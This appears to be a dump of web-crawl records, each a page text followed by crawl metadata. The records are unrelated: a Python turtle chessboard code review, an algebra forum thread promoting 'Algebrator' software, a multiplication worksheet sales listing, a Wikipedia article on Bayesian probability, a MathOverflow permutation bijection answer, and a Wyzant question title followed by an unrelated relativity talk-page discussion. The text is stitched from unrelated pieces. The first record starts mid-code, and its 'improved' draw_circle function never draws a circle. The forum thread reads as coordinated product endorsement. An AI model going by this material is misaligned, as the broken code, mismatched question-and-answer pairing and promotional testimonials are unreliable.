draw_circle(board, board.xcor() + (box_size / 2), board.ycor() - box_size, box_size / 2, "blue")
square_color = 'black' if square_color == 'white' else 'white'
board = turtle.Turtle()
draw_chess_board()
turtle.done()
In essence, the code is well designed. You’ve split the code into simple, reusable functions and the logic is clear.
But there are still improvements to be made:
• You relly on the global variable board, which is a bad habit to get into. Instead, pass it as parameter, even for your draw_chess_board function;
• The check for the square_color == 'black' feels really odd, prefer to check for 'white' as it is how it will draw and then change the background color;
• Using strings to alternate between two states is unnecessarily verbose, prefer to use booleans that you convert to string at the right moment;
• I don't see any reason to define start_x and start_y and they doesn't contribute mathematically either, you can drop them;
• You could simplify some of your computation by storing intermediate constants into variables;
• You should avoid magic numbers by naming them.
Proposed improvements:
import turtle
def draw_box(canvas, x, y, size, fill_color):
canvas.penup()
canvas.goto(x, y)
canvas.pendown()
canvas.fillcolor(fill_color)
canvas.begin_fill()
for i in range(4):
canvas.forward(size)
canvas.right(90)
canvas.end_fill()
def draw_circle(canvas, x, y, radius, color):
canvas.penup()
canvas.goto(x, y)
canvas.pendown()
canvas.fillcolor(color)
canvas.begin_fill()
canvas.end_fill()
def draw_chess_board(canvas, box_size=30, board_size=8, pawn_lines=3):
half_box_size = box_size / 2
white_square = False
for i in range(board_size):
y = i * box_size
for j in range(board_size):
x = j * box_size
draw_box(canvas, x, y, box_size, 'white' if white_square else 'black')
if white_square and i < pawn_lines:
draw_circle(canvas, x + half_box_size, y - box_size, half_box_size, 'red')
if white_square and i >= board_size - pawn_lines:
draw_circle(canvas, x + half_box_size, y - box_size, half_box_size, 'blue')
white_square = not white_square
white_square = not white_square
if __name__ == '__main__':
t = turtle.Turtle()
draw_chess_board(t)
t.hideturtle()
turtle.done() | 848 | 3,192 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.75 | 3 | CC-MAIN-2021-31 | latest | en | 0.794063 |
http://www.solve-variable.com/solve-variable/exponent-rules/fun-proportion-worksheets.html | 1,521,921,071,000,000,000 | text/html | crawl-data/CC-MAIN-2018-13/segments/1521257650993.91/warc/CC-MAIN-20180324190917-20180324210917-00618.warc.gz | 475,053,104 | 11,529 | Free Algebra Tutorials!
Try the Free Math Solver or Scroll down to Tutorials!
Depdendent Variable
Number of equations to solve: 23456789
Equ. #1:
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Equ. #6:
Equ. #7:
Equ. #8:
Equ. #9:
Solve for:
Dependent Variable
Number of inequalities to solve: 23456789
Ineq. #1:
Ineq. #2:
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fun proportion worksheets
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Author Message
New-ta-PHP-Chich
Registered: 29.05.2002
From:
Posted: Saturday 30th of Dec 12:15 Hello people ! I need some urgent help! I have had many problems with math lately. I mostly have problems with fun proportion worksheets. I don't understand it at all, no matter how much I try. I would be very glad if someone would give me any kind of advice on this issue.
espinxh
Registered: 17.03.2002
From: Norway
Posted: Monday 01st of Jan 10:25 It always feels nice when I hear that students are willing to put that extra punch into their education . fun proportion worksheets is not a very complex topic and you can easily do some initial preparation yourself. As a useful tool, I would suggest that you get a copy of Algebrator. This software is quite beneficial when doing math yourself.
MichMoxon
Registered: 21.08.2001
From:
Posted: Wednesday 03rd of Jan 11:50 Thanks for the suggestion . Algebrator is really a extremely helpful algebra software. I was able to get answers to questions I had about rational expressions, parallel lines and equivalent fractions. You just have to type in a problem, click on Solve and you get the all the solutions you need. You can use it for all types of , like Pre Algebra, Intermediate algebra and Remedial Algebra. I would highly recommend Algebrator.
Troigonis
Registered: 22.04.2002
From: Kvlt of Ø
Posted: Friday 05th of Jan 08:51 Algebrator is a very incredible product and is definitely worth a try. You will find several interesting stuff there. I use it as reference software for my math problems and can swear that it has made learning math much more enjoyable.
IP-Dopi
Registered: 07.12.2001
From: Whistler BC, Canada
Posted: Saturday 06th of Jan 14:01 I just pray this tool isn’t very complex . I am not so good with the technical stuff. Can I get the product description, so I know what it has to offer?
CHS`
Registered: 04.07.2001
From: Victoria City, Hong Kong Island, Hong Kong
Posted: Saturday 06th of Jan 18:27 http://www.solve-variable.com/solving-quadratic-inequalities.html is the site I think you will get it here . I think they have unconditional money back guarantee, so you do not have the chance of loosing anything. Good luck!
All Right Reserved. Copyright 2005-2018 | 821 | 3,184 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.671875 | 3 | CC-MAIN-2018-13 | latest | en | 0.93164 |
https://www.teacherspayteachers.com/Product/Multiplication-The-Bundle-2374559 | 1,686,129,812,000,000,000 | text/html | crawl-data/CC-MAIN-2023-23/segments/1685224653631.71/warc/CC-MAIN-20230607074914-20230607104914-00024.warc.gz | 1,093,737,246 | 43,635 | EASEL BY TPT
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# Multiplication: The Bundle
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The Moffatt Girls
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The Moffatt Girls
154.2k Followers
#### What educators are saying
My children have really enjoyed these pages. They are practicing their multiplication skills without even realizing it as they are so engaged in the game.
This is an amazing resource! My students love working on the different activities included in this pack!
### Description
Multiplication: The Bundle!
3 FREE EXCLUSIVE PRODUCTS only available with the purchase of the bundle!
DOWNLOAD the PREVIEW to see all that is included in this Bundle!
⭐️ Check out the ADDITION and SUBTRACTION Bundle HERE
⭐️ Read the Multiplication Blogpost HERE
Mastering multiplication facts is such an important component to math fluency. This BUNDLE has tons of hands-on, FUN, engaging and meaningful ways to help students master basic multiplication facts from 2-12! The variety of activities included in this bundle help ensure that all students succeed in mastering multiplication facts while having FUN!
You can use the bundle packets as you see fit to target the learning needs and styles of your students. There is no wrong way to use the packets. Just PRINT and PLAY! There is NO PREP NO costly colored ink, NO laminating and NO cutting! Just PRINT and ENJOY learning!
⭐️ MULTIPLICATION BUNDLE ⭐️
The packets included are:
Multiplication: Watches HERE
Multiplication: Spin and Multiply HERE
Multiplication: Spin, Solve and Color HERE
Multiplication: Roll and Solve HERE
Multiplication: True or False HERE
Multiplication: Search HERE
Multiplication: Color by Product HERE
Timed Tests HERE
NOTE: The bundle also includes individual fact booklets! You can print all of the above activities for each multiplication fact.
Multiplication Timed Tests
THREE EXCLUSIVE FREEBIES: only available with purchase of the BUNDLE!
⭐️ Multiplication: Number Bonds
⭐️ Multiplication: Spin and Graph
⭐️ Multiplication: Roll, Add and Multiply
Multiplication Watches
There are three activities on each page:
1. The Multiplication Watches begins with a skip counting fill in the blank chart. This activity allows students to work on multiples for numbers 2-12 and see the structure on the table.
2. Students Roll and Multiply- Roll the die, multiply by the given number and color the box to match.
3. A Wearable Watch! Students color, cut and WEAR their skip counting watches. This is a FUN way to master memorizing their multiplication facts!
Spin and Multiply
Spin and Multiply is a FUN way to practice multiplication facts with a spinner! Each page focuses on one specific factor or a review of 3 or more factors. Students use a paperclip and a pencil to make a spinner. Place the paperclip and pencil in the center of the spinner. Flick the paperclip to create a spin. This simple, yet fun and engaging activity allows students to practice 30 multiplication facts on each page!
Exclusive FREEBIE #1: Number Bonds
Multiplication Number Bonds is a great way for students to wok on finding the factor or product in a multiplication problem. This pictorial relationship of a part-part-whole allows students to see that within a larger number (the whole), there are smaller numbers (the parts) that make up the larger numbers. Students fill in the answers for each multiplication number bond.
Multiplication: Spin, Solve and Color
Spin, Solve and Color is a fun way to practice multiplication facts at a quick pace.
*Each page focuses on one factor.
*Students begin by spinning the spinner with a paper clip and pencil. Then they multiply the number they spin with the number at the top of the page. Students continue to play until all pieces have been colored.
*This game can be used for one player or two players. If two students are playing, they each use a different colored crayon. The person with the most colored pieces wins!
Multiplication: Roll and Solve
*Make learning your multiplications facts a game!
Each page focuses on a specific factor and/or a review.
*Roll a die and solve a multiplication problem in that column. Race to the top to see who wins 1st, 2nd and 3rd place.
*Color the winners.
Multiplication: Color by Product
Kids LOVE to color and this is a meaningful and fun way to practice multiplication facts!
*First, students solve the multiplication problems on the page.
*After that, students use the color code to color the picture according to the product
Multiplication: True or False
*Multiplication- True or False is a fun, hands-on way to work to master multiplication facts.
*Students cut and paste the answers under the correct column (true or false). Each page will focus on one factor or a review of several factors. There will be 5 true and 5 false equations for each page.
Exclusive Freebie #2: Spin and Graph
*Spin and Graph helps students relate the product of a multiplication problem to the the equation. Students begin by using a paper clip and pencil to create a spinner. They spin a product and graph the problem that matches.
Multiplication: Search:
Multiplication Searches are a FUN and effective way for students to work on mastering their multiplication facts!
*Each page focuses on one number to be multiplied or a mixed review of several numbers.
*Students begin by solving the problems on the problem list.
*Next, students find the multiplication problems in the multiplication search. When they find the problem, they circle/highlight it and add a x and = sign.
*Once they find the multiplication problem, they check off the box.
Multiplication: Timed Tests
Multiplication Tests are a great way for students to show progress with math fact fluency. Each multiplication test will focus on a specific number or a review of a set of numbers.
*There are 100 problems on each page. The goal is to improve speed and accuracy. Each page has a place to record the time and score for the test.
Exclusive Freebie #3: Roll, Add and Multiply:
Roll two dice, add them up and multiply by the number in the upper righthand corner. A fun game for 1 or 2 players.
Be sure to follow the Moffatt Girls on:
Total Pages
289 pages
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Reported resources will be reviewed by our team. Report this resource to let us know if this resource violates TPT’s content guidelines. | 1,450 | 6,598 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.625 | 3 | CC-MAIN-2023-23 | latest | en | 0.897727 |
https://static.hlt.bme.hu/semantics/external/pages/sz%C3%B3-multihalmaz/en.wikipedia.org/wiki/Bayesian_probability.html | 1,670,539,002,000,000,000 | text/html | crawl-data/CC-MAIN-2022-49/segments/1669446711368.1/warc/CC-MAIN-20221208215156-20221209005156-00178.warc.gz | 562,425,962 | 29,599 | # Bayesian probability
Bayesian probability is an interpretation of the concept of probability, in which, instead of frequency or propensity of some phenomenon, probability is interpreted as reasonable expectation[1] representing a state of knowledge[2] or as quantification of a personal belief.[3]
The Bayesian interpretation of probability can be seen as an extension of propositional logic that enables reasoning with hypotheses, i.e., the propositions whose truth or falsity is uncertain. In the Bayesian view, a probability is assigned to a hypothesis, whereas under frequentist inference, a hypothesis is typically tested without being assigned a probability.
Bayesian probability belongs to the category of evidential probabilities; to evaluate the probability of a hypothesis, the Bayesian probabilist specifies some prior probability, which is then updated to a posterior probability in the light of new, relevant data (evidence).[4] The Bayesian interpretation provides a standard set of procedures and formulae to perform this calculation.
The term Bayesian derives from the 18th century mathematician and theologian Thomas Bayes, who provided the first mathematical treatment of a non-trivial problem of statistical data analysis using what is now known as Bayesian inference.[5]:131 Mathematician Pierre-Simon Laplace pioneered and popularised what is now called Bayesian probability.[5]:97–98
## Bayesian methodology
Bayesian methods are characterized by concepts and procedures as follows:
• The use of random variables, or more generally unknown quantities,[6] to model all sources of uncertainty in statistical models including uncertainty resulting from lack of information (see also aleatoric and epistemic uncertainty).
• The need to determine the prior probability distribution taking into account the available (prior) information.
• The sequential use of Bayes' formula: when more data become available, calculate the posterior distribution using Bayes' formula; subsequently, the posterior distribution becomes the next prior.
• While for the frequentist, a hypothesis is a proposition (which must be either true or false) so that the frequentist probability of a hypothesis is either 0 or 1, in Bayesian statistics, the probability that can be assigned to a hypothesis can also be in a range from 0 to 1 if the truth value is uncertain.
## Objective and subjective Bayesian probabilities
Broadly speaking, there are two interpretations on Bayesian probability. For objectivists, interpreting probability as extension of logic, probability quantifies the reasonable expectation everyone (even a "robot") sharing the same knowledge should share in accordance with the rules of Bayesian statistics, which can be justified by Cox's theorem.[2][7] For subjectivists, probability corresponds to a personal belief.[3] Rationality and coherence allow for substantial variation within the constraints they pose; the constraints are justified by the Dutch book argument or by the decision theory and de Finetti's theorem.[3] The objective and subjective variants of Bayesian probability differ mainly in their interpretation and construction of the prior probability.
## History
The term Bayesian refers to Thomas Bayes (1702–1761), who proved a special case of what is now called Bayes' theorem in a paper titled "An Essay towards solving a Problem in the Doctrine of Chances".[8] In that special case, the prior and posterior distributions were Beta distributions and the data came from Bernoulli trials. It was Pierre-Simon Laplace (1749–1827) who introduced a general version of the theorem and used it to approach problems in celestial mechanics, medical statistics, reliability, and jurisprudence.[9] Early Bayesian inference, which used uniform priors following Laplace's principle of insufficient reason, was called "inverse probability" (because it infers backwards from observations to parameters, or from effects to causes).[10] After the 1920s, "inverse probability" was largely supplanted by a collection of methods that came to be called frequentist statistics.[10]
In the 20th century, the ideas of Laplace developed in two directions, giving rise to objective and subjective currents in Bayesian practice. Harold Jeffreys' Theory of Probability (first published in 1939) played an important role in the revival of the Bayesian view of probability, followed by works by Abraham Wald (1950) and Leonard J. Savage (1954). The adjective Bayesian itself dates to the 1950s; the derived Bayesianism, neo-Bayesianism is of 1960s coinage.[11] In the objectivist stream, the statistical analysis depends on only the model assumed and the data analysed.[12] No subjective decisions need to be involved. In contrast, "subjectivist" statisticians deny the possibility of fully objective analysis for the general case.
In the 1980s, there was a dramatic growth in research and applications of Bayesian methods, mostly attributed to the discovery of Markov chain Monte Carlo methods and the consequent removal of many of the computational problems, and to an increasing interest in nonstandard, complex applications.[13] While frequentist statistics remains strong (as seen by the fact that most undergraduate teaching is still based on it [14][citation needed]), Bayesian methods are widely accepted and used, e.g., in the field of machine learning.[15]
## Justification of Bayesian probabilities
The use of Bayesian probabilities as the basis of Bayesian inference has been supported by several arguments, such as Cox axioms, the Dutch book argument, arguments based on decision theory and de Finetti's theorem.
### Axiomatic approach
Richard T. Cox showed that[7] Bayesian updating follows from several axioms, including two functional equations and a hypothesis of differentiability. The assumption of differentiability or even continuity is controversial; Halpern found a counterexample based on his observation that the Boolean algebra of statements may be finite.[16] Other axiomatizations have been suggested by various authors with the purpose of making the theory more rigorous.[6]
### Dutch book approach
The Dutch book argument was proposed by de Finetti; it is based on betting. A Dutch book is made when a clever gambler places a set of bets that guarantee a profit, no matter what the outcome of the bets. If a bookmaker follows the rules of the Bayesian calculus in the construction of his odds, a Dutch book cannot be made.
However, Ian Hacking noted that traditional Dutch book arguments did not specify Bayesian updating: they left open the possibility that non-Bayesian updating rules could avoid Dutch books. For example, Hacking writes[17] "And neither the Dutch book argument, nor any other in the personalist arsenal of proofs of the probability axioms, entails the dynamic assumption. Not one entails Bayesianism. So the personalist requires the dynamic assumption to be Bayesian. It is true that in consistency a personalist could abandon the Bayesian model of learning from experience. Salt could lose its savour."
In fact, there are non-Bayesian updating rules that also avoid Dutch books (as discussed in the literature on "probability kinematics"[18] following the publication of Richard C. Jeffreys' rule, which is itself regarded as Bayesian[19]). The additional hypotheses sufficient to (uniquely) specify Bayesian updating are substantial[20] and not universally seen as satisfactory.[21]
### Decision theory approach
A decision-theoretic justification of the use of Bayesian inference (and hence of Bayesian probabilities) was given by Abraham Wald, who proved that every admissible statistical procedure is either a Bayesian procedure or a limit of Bayesian procedures.[22] Conversely, every Bayesian procedure is admissible.[23]
## Personal probabilities and objective methods for constructing priors
Following the work on expected utility theory of Ramsey and von Neumann, decision-theorists have accounted for rational behavior using a probability distribution for the agent. Johann Pfanzagl completed the Theory of Games and Economic Behavior by providing an axiomatization of subjective probability and utility, a task left uncompleted by von Neumann and Oskar Morgenstern: their original theory supposed that all the agents had the same probability distribution, as a convenience.[24] Pfanzagl's axiomatization was endorsed by Oskar Morgenstern: "Von Neumann and I have anticipated...[the question whether probabilities] might, perhaps more typically, be subjective and have stated specifically that in the latter case axioms could be found from which could derive the desired numerical utility together with a number for the probabilities (cf. p. 19 of The Theory of Games and Economic Behavior). We did not carry this out; it was demonstrated by Pfanzagl ... with all the necessary rigor".[25]
Ramsey and Savage noted that the individual agent's probability distribution could be objectively studied in experiments. Procedures for testing hypotheses about probabilities (using finite samples) are due to Ramsey (1931) and de Finetti (1931, 1937, 1964, 1970). Both Bruno de Finetti[26][27] and Frank P. Ramsey[27][28] acknowledge their debts to pragmatic philosophy, particularly (for Ramsey) to Charles S. Peirce.[27][28]
The "Ramsey test" for evaluating probability distributions is implementable in theory, and has kept experimental psychologists occupied for a half century.[29] This work demonstrates that Bayesian-probability propositions can be falsified, and so meet an empirical criterion of Charles S. Peirce, whose work inspired Ramsey. (This falsifiability-criterion was popularized by Karl Popper.[30][31])
Modern work on the experimental evaluation of personal probabilities uses the randomization, blinding, and Boolean-decision procedures of the Peirce-Jastrow experiment.[32] Since individuals act according to different probability judgments, these agents' probabilities are "personal" (but amenable to objective study).
Personal probabilities are problematic for science and for some applications where decision-makers lack the knowledge or time to specify an informed probability-distribution (on which they are prepared to act). To meet the needs of science and of human limitations, Bayesian statisticians have developed "objective" methods for specifying prior probabilities.
Indeed, some Bayesians have argued the prior state of knowledge defines the (unique) prior probability-distribution for "regular" statistical problems; cf. well-posed problems. Finding the right method for constructing such "objective" priors (for appropriate classes of regular problems) has been the quest of statistical theorists from Laplace to John Maynard Keynes, Harold Jeffreys, and Edwin Thompson Jaynes. These theorists and their successors have suggested several methods for constructing "objective" priors (Unfortunately, it is not clear how to assess the relative "objectivity" of the priors proposed under these methods):
Each of these methods contributes useful priors for "regular" one-parameter problems, and each prior can handle some challenging statistical models (with "irregularity" or several parameters). Each of these methods has been useful in Bayesian practice. Indeed, methods for constructing "objective" (alternatively, "default" or "ignorance") priors have been developed by avowed subjective (or "personal") Bayesians like James Berger (Duke University) and José-Miguel Bernardo (Universitat de València), simply because such priors are needed for Bayesian practice, particularly in science.[33] The quest for "the universal method for constructing priors" continues to attract statistical theorists.[33]
Thus, the Bayesian statistician needs either to use informed priors (using relevant expertise or previous data) or to choose among the competing methods for constructing "objective" priors.
## References
1. ^ Cox, R. T. (1946). "Probability, Frequency, and Reasonable Expectation". American Journal of Physics. 14 (1): 1–10. Bibcode:1946AmJPh..14....1C. doi:10.1119/1.1990764.
2. ^ a b Jaynes, E.T. (1986). "Bayesian Methods: General Background". In Justice, J. H. Maximum-Entropy and Bayesian Methods in Applied Statistics. Cambridge: Cambridge University Press.
3. ^ a b c de Finetti, Bruno (2017). Theory of Probability: A critical introductory treatment. Chichester: John Wiley & Sons ltd. ISBN 9781119286370.
4. ^ Paulos, John Allen (5 August 2011). "The Mathematics of Changing Your Mind [by Sharon Bertsch McGrayne]". Book Review. New York Times. Retrieved 2011-08-06.
5. ^ a b Stigler, Stephen M. (March 1990). The history of statistics. Harvard University Press. ISBN 9780674403413.
6. ^ a b Dupré, Maurice J., Tipler, Frank J. New Axioms For Rigorous Bayesian Probability, Bayesian Analysis (2009), Number 3, pp. 599–606
7. ^ a b Cox, Richard T. (1961). The algebra of probable inference ([Repr.]. ed.). Baltimore, Md. : London: Johns Hopkins Press ; Oxford University Press [distributor]. ISBN 9780801869822.
8. ^ McGrayne, Sharon Bertsch. (2011). The Theory That Would Not Die, p. 10., p. 10, at Google Books
9. ^ Stigler, Stephen M. (1986) The history of statistics. Harvard University press. Chapter 3.
10. ^ a b Fienberg, Stephen. E. (2006) When did Bayesian Inference become "Bayesian"? Archived September 10, 2014, at the Wayback Machine Bayesian Analysis, 1 (1), 1–40. See page 5.
11. ^ "The works of Wald, Statistical Decision Functions (1950) and Savage, The Foundation of Statistics (1954) are commonly regarded starting points for current Bayesian approaches"; "Recent developments of the so-called Bayesian approach to statistics" Marshall Dees Harris, Legal-economic research, University of Iowa. Agricultural Law Center (1959), p. 125 (fn. 52); p. 126. "This revolution, which may or may not succeed, is neo-Bayesianism. Jeffreys tried to introduce this approach, but did not succeed at the time in giving it general appeal." Annals of the Computation Laboratory of Harvard University 31 (1962), p. 180. "It is curious that even in its activities unrelated to ethics, humanity searches for a religion. At the present time, the religion being 'pushed' the hardest is Bayesianism." Oscar Kempthorne, 'The Classical Problem of Inference—Goodness of Fit', Proceedings of the Fifth Berkeley Symposium on Mathematical Statistics and Probability (1967), p. 235.
12. ^ Bernardo, J.M. (2005). "Reference analysis". Handbook of Statistics. 25: 17–90.
13. ^ Wolpert, R.L. (2004) A conversation with James O. Berger, Statistical science, 9, 205–218
14. ^ Bernardo, José M. (2006) A Bayesian mathematical statistics primer. ICOTS-7
15. ^ Bishop, C.M. Pattern Recognition and Machine Learning. Springer, 2007
16. ^ Halpern, J. A counterexample to theorems of Cox and Fine, Journal of Artificial Intelligence Research, 10: 67–85.
17. ^ Hacking (1967, Section 3, page 316), Hacking (1988, page 124)
18. ^ Skyrms, Brian (1987-01-01). "Dynamic Coherence and Probability Kinematics". Philosophy of Science. 54 (1): 1–20. CiteSeerX 10.1.1.395.5723. doi:10.1086/289350. JSTOR 187470.
19. ^ "Bayes' Theorem". stanford.edu. Retrieved 2016-03-21.
20. ^ Fuchs, Christopher A.; Schack, Rüdiger (2012-01-01). Ben-Menahem, Yemima; Hemmo, Meir, eds. Probability in Physics. The Frontiers Collection. Springer Berlin Heidelberg. pp. 233–247. arXiv:1103.5950. doi:10.1007/978-3-642-21329-8_15. ISBN 9783642213281.
21. ^ van Frassen, B. (1989) Laws and Symmetry, Oxford University Press. ISBN 0-19-824860-1
22. ^ Wald, Abraham. Statistical Decision Functions. Wiley 1950.
23. ^ Bernardo, José M., Smith, Adrian F.M. Bayesian Theory. John Wiley 1994. ISBN 0-471-92416-4.
24. ^ Pfanzagl (1967, 1968)
25. ^ Morgenstern (1976, page 65)
26. ^ Galavotti, Maria Carla (1989-01-01). "Anti-Realism in the Philosophy of Probability: Bruno de Finetti's Subjectivism". Erkenntnis (1975-). 31 (2/3): 239–261. doi:10.1007/bf01236565. JSTOR 20012239.
27. ^ a b c Galavotti, Maria Carla (1991-12-01). "The notion of subjective probability in the work of Ramsey and de Finetti". Theoria. 57 (3): 239–259. doi:10.1111/j.1755-2567.1991.tb00839.x. ISSN 1755-2567.
28. ^ a b Dokic, Jérôme; Engel, Pascal (2003). Frank Ramsey: Truth and Success. Routledge. ISBN 9781134445936.
29. ^ Davidson et al. (1957)
30. ^ "Karl Popper" in Stanford Encyclopedia of Philosophy
31. ^ Popper, Karl. (2002) The Logic of Scientific Discovery 2nd Edition, Routledge ISBN 0-415-27843-0 (Reprint of 1959 translation of 1935 original) Page 57.
32. ^ Peirce & Jastrow (1885)
33. ^ a b Bernardo, J. M. (2005). Reference Analysis. Handbook of Statistics 25 (D. K. Dey and C. R. Rao eds). Amsterdam: Elsevier, 17–90 | 3,836 | 16,693 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.625 | 4 | CC-MAIN-2022-49 | latest | en | 0.913692 |
https://mathoverflow.net/questions/412727/a-bijection-on-permutations | 1,713,161,379,000,000,000 | text/html | crawl-data/CC-MAIN-2024-18/segments/1712296816942.33/warc/CC-MAIN-20240415045222-20240415075222-00815.warc.gz | 341,807,561 | 27,015 | # A bijection on permutations
I am looking for a bijection between permutations in $$\mathfrak S_n$$ with a certain weight and a second set, which arises by interpreting the expression $$\frac{1}{2}\left(1 + \exp(q \log\left(\frac{1+x}{1-x}\right)\right)$$ as the exponential generating function for permutations with only odd cycles, where each cycle is coloured blue or red, up to interchanging the colours. Each cycle carries the weight $$q$$. For example, there are $$4!=24$$ cycles of length 5, $$\binom{5}{2}\cdot 2\cdot 2^2 = 80$$ coloured permutations with a 3-cycle and two singletons, and $$2^4 = 16$$ coloured permutations with 5 singletons.
On the other hand, the weight of a permutation in $$\mathfrak S_n$$ is obtained by computing https://www.findstat.org/StatisticsDatabase/St000389oMp00093oMp00127oMp00066oMp00090 : write down the cycle decomposition of the permutation, cycles ordered by minimal elements, and such that the minimal element of each cycle comes first. Then erase the parenthesis and interpret the result as a permutation $$\sigma$$ in one-line notation. Finally, interpret this permutation as a Dyck path - drawn as a subdiagonal path from $$(0,0)$$ to $$(n,n)$$ - with peaks at $$\{(i, \sigma_i-1) | \sigma_i\text{ is a right-to-left minimum of }\sigma\}$$. For example, the permutation $$2,4,3,1$$ has cycle decomposition $$(1,2,4)(3)$$, thus $$\sigma=1,2,4,3$$, so the Dyck path has peaks at $$(4,3-1)$$, $$(2,2-1)$$, and $$(1, 1-1)$$. Each ascent of odd length of this Dyck path carries the weight $$q$$.
This question arises by comparing this answer with this, and the following comments.
In what follows I describe a bijection between your colored odd cycle only permutations and all permutations. Under this bijection, the number of cycles of the initial odd cycle only permutation becomes the number of cycles of the output permutation plus some additional factor (which could be described but seems a bit complicated). I am not sure how this weight relates to your proposed weight— see my comments below the answer.
Start with a permutation with only odd cycles, and interpret the red/blue coloring as a binary string of length equal to the number of cycles minus one.
Write the permutation in “standard cycle form” with the biggest element of each cycle first and with biggest elements increasing from left to right. E.g., (3)(746)(95182)
Then process the binary word by starting at the leftmost cycle and whenever we see a one move the last element of that cycle to be the last element of the cycle to its right (whereas do nothing when we see a zero). Proceed to the next cycle when processing the next letter, and so on.
E.g., with (3)(746)(95182) and the word 11 we process the first 1 and get (7463)(95182), then we process the second 1 and end with (746)(951823).
The inverse is obtained by starting with any permutation and moving the last elements of the cycles (in standard form) from right to left so as to make sure the cycles are all of odd length.
The basic idea behind this bijection appears in Section 6.2 of Bóna’s “Walk Through Combinatorics” textbook (3rd ed.) and is explained in the answers to the previous MO question: Permutations with all cycles odd length and permutations with all cycles even length.
• Is it clear that this preserves (a variation of) the weight? Dec 29, 2021 at 13:10
• I’m not quite sure about the weight (certainly you can extract some kind of weight from this bijection). But I’m a bit suspicious of what you have right now. For example, why do you start by applying the “Foata’s fundamental transform” to the permutation? This should not affect the distribution of the statistic. Dec 29, 2021 at 17:04
• Moreover, unless I am misunderstanding what “ascent of odd length” means, you are suggesting we count some subset of the LRM in the statistic. But actually the above bijection shows we should count a superset of the LRM (equidistributed with # of cycles, again thanks to the fundamental transform). Dec 29, 2021 at 17:07
• Oh I see now the source of my confusion: the first step of your procedure is not the fundamental transformation (in particular, it is not a bijection on permutations). Dec 29, 2021 at 18:17
• That is a beautiful bijection, regardless wether it solves the original question. Jan 29, 2022 at 9:39 | 1,079 | 4,322 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 18, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.28125 | 3 | CC-MAIN-2024-18 | latest | en | 0.880564 |
https://www.wyzant.com/resources/answers/users/76743160 | 1,611,151,650,000,000,000 | text/html | crawl-data/CC-MAIN-2021-04/segments/1610703520883.15/warc/CC-MAIN-20210120120242-20210120150242-00645.warc.gz | 1,053,344,172 | 13,782 | #### Is there any documentation on the creation of Article 1 Section II of the US constitution?
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## Position of observers
I find the statements on the position of the observers to be unhelpful in this article. For the thought experiment to be valid, the observer on the train does not need to be in the centre of the carriage, nor does the the flash need to be emitted the moment the train passes the observer on the platform. Observations of time differences between two events depends on relative motion of observers, not on their exact position at any given time.
I would remove these statements about observers positions. They tempt the reader to start thinking about visual perception of the events (thinking about time it takes photons to get from events to them, which is _not_ part of the argument) rather than the _observation_ of events which is independent of location. I made this edit, but it was reverted - "Undid revision 447223181 by 137.111.13.200 (talk) undid removal of essential information) (undo)" — Preceding unsigned comment added by 60.225.54.95 (talkcontribs)
The text says "The observer onboard the train sees the front and back of the traincar at fixed distances from the source of light and as such, according to this observer, the light will reach the front and back of the traincar at the same time." That can only happen if this observer is midway inside a speeding traincar, which is a word that you removed in your edit. The other part that you removed ("... just as the two observers pass each other") is also essential in the setup. This thought experment is set up, precisely to show what happens when the two observers assume that light speed is isotropic for both of them. As such you had removed essential information. Note that this setup is extensively described in the literature (see, for instance here), and changing something to that setup would not only amount to inducing erroneous information to the article, but also, and perhaps even more importantly, to wp:original research. DVdm (talk) 12:12, 31 October 2011 (UTC)
I believe you are making a common misunderstanding about the meaning of an observers perception of events. The observer on the train 'sees' the two ends of the train at fixed distance from the light source wherever the observer stands. These distances are of course not changed if the observer stands in a different place in the car. In your statements you seem to considering the visual perception of the scene by the observer (involving photons coming to his eyes from events - these consideration play no part in this argument (nor any other dilation/contraction experiments) as can be seen by the fact that in the train diagrams that depict the two frames, there is no indication of where the observers are, only an understanding of their relative motion that sets the frame in which light travels isotropically out at c for each case. In this article there are several unfortunate reference to observers 'seeing' things. In better texts there is a more careful language of 'observations' that try to avoid making people think of photons travelling from events to the observer. "This thought experment is set up, precisely to show what happens when the two observers assume that light speed is isotropic for both of them" - this is correct, but still not dependent on the 'location' of the observers, just their relative velocity.
